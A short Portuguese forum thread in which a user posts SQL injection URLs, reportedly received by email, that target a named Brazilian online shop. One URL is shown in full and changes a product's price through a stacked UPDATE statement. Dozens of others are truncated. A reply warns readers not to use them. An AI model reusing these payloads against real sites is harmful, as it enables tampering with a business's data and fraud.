SQL Injection

[carlosxx 0]

recebi esse e-mail na sexta passada de um cara chamado Mister Egg

ele altera diversos precos no site da pluguse

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

ttp://www.pluguse.com.br/default.asp?o=produtos&g=20;UPDATE%20TB_Produtos%20SET%20ProdutoPreco%20=%20150%20where%20ProdutoCodigo%20=%200000079%20;%20select%20*%20from%20TB_Fornecedores,%20TB_Produtos,%20TB_Grupos,%20TB_UpSelling,%20TB_CrossSelling%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

 

http://www.pluguse.com.br/default.asp?o=pr...g%20where%201=1

[Salgado 4]

Por favor não utilizem-se destes links, pelo que pude notar eles estão exatamente utilizando essa técnica contra o referido Site. ;)